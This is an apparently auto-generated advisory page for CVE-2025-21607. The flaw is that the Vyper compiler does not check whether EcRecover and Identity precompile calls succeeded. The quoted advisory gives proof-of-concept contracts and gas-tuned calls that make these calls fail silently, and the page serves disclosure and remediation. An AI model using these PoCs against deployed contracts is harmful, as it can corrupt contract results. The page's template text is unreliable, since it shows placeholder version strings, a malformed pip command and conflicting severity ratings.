CVE-2025-21607: Vyper Vyper Does Not Check The Vulnerability

LOW

Advisory Identifier: GHSA-vgf2-gvx8-xwc3

Published 2025-01-14

Advisory Summary

CVE-2025-21607 is a LOW vyper does not check the vulnerability (CWE-703: Improper Check or Handling of Exceptional Conditions) affecting Vyper libraries in the PyPI ecosystem. The issue involves vyper does not check the success of certain precompile calls. Remediation is available in the latest vendor maintenance releases.

CVE-2025-21607 at a Glance

CVE Identifier CVE-2025-21607

GHSA Identifier GHSA-vgf2-gvx8-xwc3

Severity LOW

CVSS v3.1 Base Score N/A

CWE Classification CWE-703: Improper Check or Handling of Exceptional Conditions

Affected Product Vyper

Package Ecosystem PyPI

Published Date 2025-01-14

Last Updated 2025-04-24

How to Fix CVE-2025-21607

To remediate this vulnerability, upgrade all affected Vyper dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

vyper fixed: Latest secure release

pip install vyper>=Latest secure release

Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show vyper

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2025-21607, inspect your installed packages using pip:

pip show vyper

Analyze the terminal output to locate any version of Vyper in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The pip show vyper command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-703: Improper Check or Handling of Exceptional Conditions, where the product does not properly anticipate or handle exceptional conditions that rarely occur during normal operation of the product. In Vyper, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary When the Vyper Compiler uses the precompiles EcRecover (0x1) and Identity (0x4), the success flag of the call is not checked. As a consequence an attacker can provide a specific amount of gas to make these calls fail but let the overall execution continue. Then the execution result can be incorrect. Based on EVM's rules, after the failed precompile the remaining code has only 1/64 of the pre-call-gas left (as 63/64 were forwarded and spent). Hence, only fairly simple executions can follow the failed precompile calls. Therefore, we found no significantly impacted real-world contracts. The fix is tracked in https://github.com/vyperlang/vyper/pull/4451. ### Details #### The relevant precompiles ##### EcRecover EcRecover is used in vyper's `ecrecover` built-in. As the precompile consumes 3000 gas, any execution after an out-of-gas EcRecover call has at most 47 gas left. ##### Identity - The Identity precompile is used in vyper to perform memory copy operations. As its cost is variable, a variable amount of gas might be left after a failed call. The bigger the copy operation, the more gas can be left. Hence, a failed call to Identity could theoretically be followed by successful storage changes or emitted events. - Identity is no longer used when `evm-version` `cancun` is used (because `MCOPY` is used instead). In 0.4.0 `cancun` is default, in 0.3.10 `cancun` is an option, otherwise `cancun` is not available. As only pre-`cancun` versions are relevant, we don't have to consider transient storage operations succeeding a failed call to Identity. #### The other precompiles - Calls to `Sha2`, `ecAdd`, and `ecMul` have success checks and have had them for a long time. - The precompiles `modexp`, `ripe`, `blake`, `ecPairing`, and `Point Evaluation` have no builtins in vyper. ### PoC In the following we provide concrete examples of incorrectly generated bytecode. These examples are not optimized, but rather Proof-of-Concepts. The list is also not exhaustive. #### `ecrecover` use - Affected versions: 0.2.0 - 0.4.0 - For older compiler versions (<=0.3.9) it behaves similarly to this [older advisory](https://github.com/vyperlang/vyper/security/advisories/GHSA-f5x6-7qgp-jhf3). As no data is returned, the previous value of the memory word is returned to the user. Hence, any dirty bytes might be returned. Contracts with older compiler versions and `ecrecover` were checked. - For new vyper versions, the output buffer is zeroed, so when the call fails zero is returned. This is an incorrect result, but developers should anyway check for 0 as a failure case. Hence, this is unlikely to result in issues. However, we did search for such cases. - As mentioned above at most 47 gas is left after the failed call, hence a `return` is the most realistic scenario to be attacked. Vulnerable Code: ```py @external @view def foo(hash: bytes32, v: uint256, r:uint256, s:uint256) -> address: return ecrecover(hash, v, r, s) ``` Problematic Call: ```py print( c.foo( binascii.unhexlify( "6c9c5e133b8aafb2ea74f524a5263495e7ae5701c7248805f7b511d973dc7055" ), 28, 78616903610408968922803823221221116251138855211764625814919875002740131251724, 37668412420813231458864536126575229553064045345107737433087067088194345044408, ) ) # Returns 0x9eE53ad38Bb67d745223a4257D7d48cE973FeB7A print( c.foo( binascii.unhexlify( "6c9c5e133b8aafb2ea74f524a5263495e7ae5701c7248805f7b511d973dc7055" ), 28, 78616903610408968922803823221221116251138855211764625814919875002740131251724, 37668412420813231458864536126575229553064045345107737433087067088194345044408, gas=3000, ) ) # Returns 0x0000000000000000000000000000000000000000 ``` #### Identity to copy Dynamic Arrays - Affected versions: 0.3.2 - 0.3.9 - Dynamic Arrays might be copied on different occasions - That copy operation can fail leading to incorrect accesses afterwards Vulnerable Code: ```py @external def foo() -> uint256: a: DynArray[uint256, 4000] = [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] b: DynArray[uint256, 4000] = a return b[0] ``` Problematic Call: ```py print(c.foo()) # Prints 2 print(c.foo(gas=170000)) # Prints 0 ``` #### Identity in ABI Encoding of Returndata - Affected versions: 0.3.2 - 0.4.0 - Complex types such as Dynamic array with Strings inside need to be abi encoded before being returned - In that `return` there is a memory copy which can fail Vulnerable Code: ```py @external @view def foo(x: String[1000000], y: String[1000000]) -> DynArray[String[1000000], 2]: z: DynArray[String[1000000], 2] = [x, y] # Some code return z ``` Problematic Call: ```py calldata0 = "a"*10 calldata1 = "b"*1000000 c.foo(calldata0, calldata1) # Returns correct data c.foo(calldata0, calldata1, gas=48_400_000) # Returns incorrect data (only first part) ``` #### Assertion based on data copied through Identity - Affected versions: 0.2.0 - 0.4.0 - An incomplete copy operation might falsify the result of a subsequent `assert` Vulnerable Code: ```py @internal def bar() -> uint256[3000]: a: uint256[3000] = [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] return a @external def foo(): s: uint256[3000] = self.bar() assert(s[0] == 0) ``` Problematic Call: ```py try: c.foo() # Correctly reverts except Exception as e: print("Correctly reverted") try: c.foo(gas=210000) # Incorrectly succeeds print("Incorrectly succeeded") except Exception: pass ``` #### Identity used in `raw_revert` - Affected versions: 0.3.8 - 0.4.0 - A copy operation might appear as part of raw_revert - As a result the revert reason might be incorrect Vulnerable Code: ```py @external def foo(_data: Bytes[10000]): b: Bytes[10000] = _data raw_revert(b) ``` Problematic Call: ```py calldata = binascii.unhexlify("bb" * 10_000) c.foo(calldata) # Has correct revert reason c.foo(calldata, gas=4_800) # Has empty revert reason, but not out-of-gas ``` #### Identity to copy static arrays - Affected versions: 0.2.0 - 0.4.0 - Vyper might perform a memory copy for static arrays, e.g. when moving them in and out of internal functions - As this access is especially cheap (due to the static checks) it can also happen for smaller sizes Vulnerable Code: ```py @external def foo(x: uint256[2500]) -> uint256: s: uint256[2500] = x t: uint256[2500] = s return t[0] ``` Problematic Call: ```py calldata = [2] + [0] * 2499 print(c.foo(calldata)) # Prints 2 print(c.foo(calldata, gas=74500)) # Prints 0 ``` #### Identity to copy and return String or Bytes - Affected versions: 0.20 - 0.4.0 - Multiple situations in vyper might trigger a memory copy operation, e.g. moving data in and out of internal functions - If the target buffer is later returned, incorrect data might be returned Vulnerable Code: ```py @external @view def foo(x: String[1000000]) -> String[1000000]: return x ``` Problematic Call: ```py calldata = "a"*1000000 x = c.foo(calldata) # Returns calldata y = c.foo(calldata, gas=8_000_000) # Returns empty data ``` #### Identity and accessing the length of the target data - Affected versions: 0.3.10 - 0.4.0 - Accessing the data is fairly cheap, making it possible for smaller data copies Vulnerable Code: ```py @external @view def foo(x: String[1000000]) -> uint256: y: String[1000000] = x return len(y) ``` Problematic Call: ```py calldata = "a"*1000000 x = c.foo(calldata) # Returns correct length y = c.foo(calldata, gas=7_929_200) # Returns incorrect length ``` #### Identity to copy and return String or Bytes - Affected versions: 0.3.10 - 0.4.0 - Multiple situations in vyper might trigger a memory copy operation, e.g. moving data in and out of internal functions - If the target buffer is later returned, incorrect data might be returned Vulnerable Code: ```py @external @view def foo(x: String[1000000]) -> String[1000000]: return x ``` Problematic Call: ```py calldata = "a"*1000000 x = c.foo(calldata) # Returns calldata y = c.foo(calldata, gas=8_000_000) # Returns empty data ``` ### Impact A contract search was conducted and yielded no significant results. The advisory was rated a medium because the likelihood is low, but difficult to detect by source code analysis alone, and could yield unexpected results if a contract is affected by the bug.

CVE-2025-21607 Affected Vyper Versions

1 component(s)

Product / Package	Ecosystem	Affected Versions	Fixed Version
vyper pypi/vyper	PyPI

References

GitHub Advisory / Wiki ADVISORY

https://github.com/vyperlang/vyper/security/advisories/GHSA-vgf2-gvx8-xwc3

NVD — CVE-2025-21607 NVD

https://nvd.nist.gov/vuln/detail/CVE-2025-21607

Vyper Source Repository REPOSITORY

https://github.com/vyperlang/vyper/pull/4451

Security Fix Commit FIX COMMIT

https://github.com/vyperlang/vyper/commit/7136eab0a254aa2ff7ddca41cc05f2ee1fa99caf

Vyper Source Repository REPOSITORY

https://github.com/pypa/advisory-database/tree/main/vulns/vyper/PYSEC-2025-33.yaml

Vyper Source Repository REPOSITORY

https://github.com/vyperlang/vyper

Frequently Asked Questions

What is CVE-2025-21607?

CVE-2025-21607 is a security vulnerability in Vyper involving Vyper Does Not Check the Success of Certain Precompile Calls under CWE-703: Improper Check or Handling of Exceptional Conditions.

Which Vyper versions are affected?

Affected versions include releases prior to current release patches across affected packages: vyper.

What version fixes CVE-2025-21607?

Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.

Is vyper affected?

Yes, vyper is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.

What CWE is associated with CVE-2025-21607?

CVE-2025-21607 is classified under CWE-703: Improper Check or Handling of Exceptional Conditions (The product does not properly anticipate or handle exceptional conditions that rarely occur during normal operation of the product.).

How can I check PyPI dependencies for CVE-2025-21607?

Run the dependency tree command: 'pip show vyper'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.

Machine-readable OSV JSON OSV v1.5 Schema

Normalized schema output

View Raw JSON

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vgf2-gvx8-xwc3",
  "modified" : "2025-04-24T14:39:58Z",
  "published" : "2025-01-14T16:34:20Z",
  "aliases" : [ "CVE-2025-21607" ],
  "summary" : "Vyper Does Not Check the Success of Certain Precompile Calls",
  "details" : "### Summary\n\nWhen the Vyper Compiler uses the precompiles EcRecover (0x1) and Identity (0x4), the success flag of the call is not checked. As a consequence an attacker can provide a specific amount of gas to make these calls fail but let the overall execution continue. Then the execution result can be incorrect.\n\nBased on EVM's rules, after the failed precompile the remaining code has only 1/64 of the pre-call-gas left (as 63/64 were forwarded and spent). Hence, only fairly simple executions can follow the failed precompile calls. Therefore, we found no significantly impacted real-world contracts.\n\nThe fix is tracked in https://github.com/vyperlang/vyper/pull/4451.\n\n### Details\n\n\n#### The relevant precompiles\n\n##### EcRecover\n\nEcRecover is used in vyper's `ecrecover` built-in. As the precompile consumes 3000 gas, any execution after an out-of-gas EcRecover call has at most 47 gas left.\n\n##### Identity\n\n- The Identity precompile is used in vyper to perform memory copy operations. As its cost is variable, a variable amount of gas might be left after a failed call. The bigger the copy operation, the more gas can be left. Hence, a failed call to Identity could theoretically be followed by successful storage changes or emitted events.\n- Identity is no longer used when `evm-version` `cancun` is used (because `MCOPY` is used instead). In 0.4.0 `cancun` is default, in 0.3.10 `cancun` is an option, otherwise `cancun` is not available. As only pre-`cancun` versions are relevant, we don't have to consider transient storage operations succeeding a failed call to Identity.\n\n#### The other precompiles\n\n- Calls to `Sha2`, `ecAdd`, and `ecMul` have success checks and have had them for a long time.\n- The precompiles `modexp`, `ripe`, `blake`, `ecPairing`, and `Point Evaluation` have no builtins in vyper.\n\n\n### PoC\n\nIn the following we provide concrete examples of incorrectly generated bytecode. These examples are not optimized, but rather Proof-of-Concepts. The list is also not exhaustive.\n\n#### `ecrecover` use\n\n- Affected versions: 0.2.0 - 0.4.0 \n- For older compiler versions (<=0.3.9) it behaves similarly to this [older advisory](https://github.com/vyperlang/vyper/security/advisories/GHSA-f5x6-7qgp-jhf3). As no data is returned, the previous value of the memory word is returned to the user. Hence, any dirty bytes might be returned. Contracts with older compiler versions and `ecrecover` were checked.\n- For new vyper versions, the output buffer is zeroed, so when the call fails zero is returned. This is an incorrect result, but developers should anyway check for 0 as a failure case. Hence, this is unlikely to result in issues. However, we did search for such cases.\n- As mentioned above at most 47 gas is left after the failed call, hence a `return` is the most realistic scenario to be attacked.\n\nVulnerable Code:\n```py\n@external\n@view\ndef foo(hash: bytes32, v: uint256, r:uint256, s:uint256) -> address:\n    return ecrecover(hash, v, r, s)\n```\n\nProblematic Call:\n```py\nprint(\n    c.foo(\n        binascii.unhexlify(\n            \"6c9c5e133b8aafb2ea74f524a5263495e7ae5701c7248805f7b511d973dc7055\"\n        ),\n        28,\n        78616903610408968922803823221221116251138855211764625814919875002740131251724,\n        37668412420813231458864536126575229553064045345107737433087067088194345044408,\n    )\n)  # Returns 0x9eE53ad38Bb67d745223a4257D7d48cE973FeB7A\n\nprint(\n    c.foo(\n        binascii.unhexlify(\n            \"6c9c5e133b8aafb2ea74f524a5263495e7ae5701c7248805f7b511d973dc7055\"\n        ),\n        28,\n        78616903610408968922803823221221116251138855211764625814919875002740131251724,\n        37668412420813231458864536126575229553064045345107737433087067088194345044408,\n        gas=3000,\n    )\n)  # Returns 0x0000000000000000000000000000000000000000\n```\n\n#### Identity to copy Dynamic Arrays\n\n- Affected versions: 0.3.2 - 0.3.9\n- Dynamic Arrays might be copied on different occasions\n- That copy operation can fail leading to incorrect accesses afterwards\n\nVulnerable Code:\n```py\n\n@external\ndef foo() -> uint256:\n    a: DynArray[uint256, 4000] = [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n    b: DynArray[uint256, 4000] = a\n    return b[0]\n```\n\nProblematic Call:\n```py\nprint(c.foo())            # Prints 2\nprint(c.foo(gas=170000))  # Prints 0\n```\n\n#### Identity in ABI Encoding of Returndata\n\n- Affected versions: 0.3.2 - 0.4.0\n- Complex types such as Dynamic array with Strings inside need to be abi encoded before being returned\n- In that `return` there is a memory copy which can fail\n\nVulnerable Code:\n```py\n@external\n@view\ndef foo(x: String[1000000], y: String[1000000]) -> DynArray[String[1000000], 2]:\n    z: DynArray[String[1000000], 2] = [x, y]\n    # Some code\n    return z\n```\n\nProblematic Call:\n```py\ncalldata0 = \"a\"*10\ncalldata1 = \"b\"*1000000\nc.foo(calldata0, calldata1)                   # Returns correct data\nc.foo(calldata0, calldata1, gas=48_400_000)   # Returns incorrect data (only first part)\n```\n\n#### Assertion based on data copied through Identity\n\n- Affected versions: 0.2.0 - 0.4.0\n- An incomplete copy operation might falsify the result of a subsequent `assert`\n\n\nVulnerable Code:\n```py\n@internal\ndef bar() -> uint256[3000]:\n    a: uint256[3000] = [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n    return a\n\n@external\ndef foo():\n    s: uint256[3000] = self.bar()\n    assert(s[0] == 0)\n```\n\nProblematic Call:\n```py\ntry:\n    c.foo()                     # Correctly reverts\nexcept Exception as e:\n    print(\"Correctly reverted\")\ntry:\n    c.foo(gas=210000)           # Incorrectly succeeds\n    print(\"Incorrectly succeeded\")\nexcept Exception:\n    pass\n```\n\n#### Identity used in `raw_revert`\n\n- Affected versions: 0.3.8 - 0.4.0\n- A copy operation might appear as part of raw_revert\n- As a result the revert reason might be incorrect\n\nVulnerable Code:\n```py\n@external\ndef foo(_data: Bytes[10000]):\n    b: Bytes[10000] = _data\n    raw_revert(b)\n```\n\nProblematic Call:\n```py\ncalldata = binascii.unhexlify(\"bb\" * 10_000)\nc.foo(calldata)       # Has correct revert reason\nc.foo(calldata, gas=4_800)       # Has empty revert reason, but not out-of-gas\n```\n\n\n#### Identity to copy static arrays\n\n- Affected versions: 0.2.0 - 0.4.0\n- Vyper might perform a memory copy for static arrays, e.g. when moving them in and out of internal functions\n- As this access is especially cheap (due to the static checks) it can also happen for smaller sizes\n\nVulnerable Code:\n```py\n@external\ndef foo(x: uint256[2500]) -> uint256:\n    s: uint256[2500] = x\n    t: uint256[2500] = s\n    return t[0]\n```\n\nProblematic Call:\n```py\ncalldata = [2] + [0] * 2499\nprint(c.foo(calldata))              # Prints 2\nprint(c.foo(calldata, gas=74500))   # Prints 0\n```\n\n\n#### Identity to copy and return String or Bytes\n\n- Affected versions: 0.20 - 0.4.0\n- Multiple situations in vyper might trigger a memory copy operation, e.g. moving data in and out of internal functions\n- If the target buffer is later returned, incorrect data might be returned\n\nVulnerable Code:\n```py\n@external\n@view\ndef foo(x: String[1000000]) -> String[1000000]:\n    return x\n```\n\nProblematic Call:\n```py\ncalldata = \"a\"*1000000\nx = c.foo(calldata)                 # Returns calldata\ny = c.foo(calldata, gas=8_000_000)  # Returns empty data\n```\n\n\n#### Identity and accessing the length of the target data\n\n- Affected versions: 0.3.10 - 0.4.0\n- Accessing the data is fairly cheap, making it possible for smaller data copies\n\nVulnerable Code:\n```py\n@external\n@view\ndef foo(x: String[1000000]) -> uint256:\n    y: String[1000000] = x\n    return len(y)\n```\n\nProblematic Call:\n```py\ncalldata = \"a\"*1000000\nx = c.foo(calldata)                 # Returns correct length\ny = c.foo(calldata, gas=7_929_200)  # Returns incorrect length\n```\n\n#### Identity to copy and return String or Bytes\n\n- Affected versions: 0.3.10 - 0.4.0\n- Multiple situations in vyper might trigger a memory copy operation, e.g. moving data in and out of internal functions\n- If the target buffer is later returned, incorrect data might be returned\n\nVulnerable Code:\n```py\n@external\n@view\ndef foo(x: String[1000000]) -> String[1000000]:\n    return x\n```\n\nProblematic Call:\n```py\ncalldata = \"a\"*1000000\nx = c.foo(calldata)                 # Returns calldata\ny = c.foo(calldata, gas=8_000_000)  # Returns empty data\n```\n\n### Impact\n\nA contract search was conducted and yielded no significant results.\n\nThe advisory was rated a medium because the likelihood is low, but difficult to detect by source code analysis alone, and could yield unexpected results if a contract is affected by the bug.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "vyper"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "< 0.4.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/vyperlang/vyper/security/advisories/GHSA-vgf2-gvx8-xwc3"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-21607"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/vyperlang/vyper/pull/4451"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/vyperlang/vyper/commit/7136eab0a254aa2ff7ddca41cc05f2ee1fa99caf"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/vyper/PYSEC-2025-33.yaml"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/vyperlang/vyper"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-670", "CWE-703" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-01-14T16:34:20Z",
    "nvd_published_at" : "2025-01-14T18:16:05Z"
  }
}

CVSS V4

N/A LOW

Attack Vector N/A

Attack Complexity N/A

Privileges Required N/A

User Interaction N/A

Scope N/A

Confidentiality N/A

Integrity N/A

Availability N/A

Vector String

CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Advisory Metadata

Source ID: GHSA-vgf2-gvx8-xwc3
Schema Version: 1.4.0
Published: 2025-01-14 16:34
Last Modified: 2025-04-24 14:39
Database Record File: advisories/github-reviewed/2025/01/GHSA-vgf2-gvx8-xwc3/GHSA-vgf2-gvx8-xwc3.json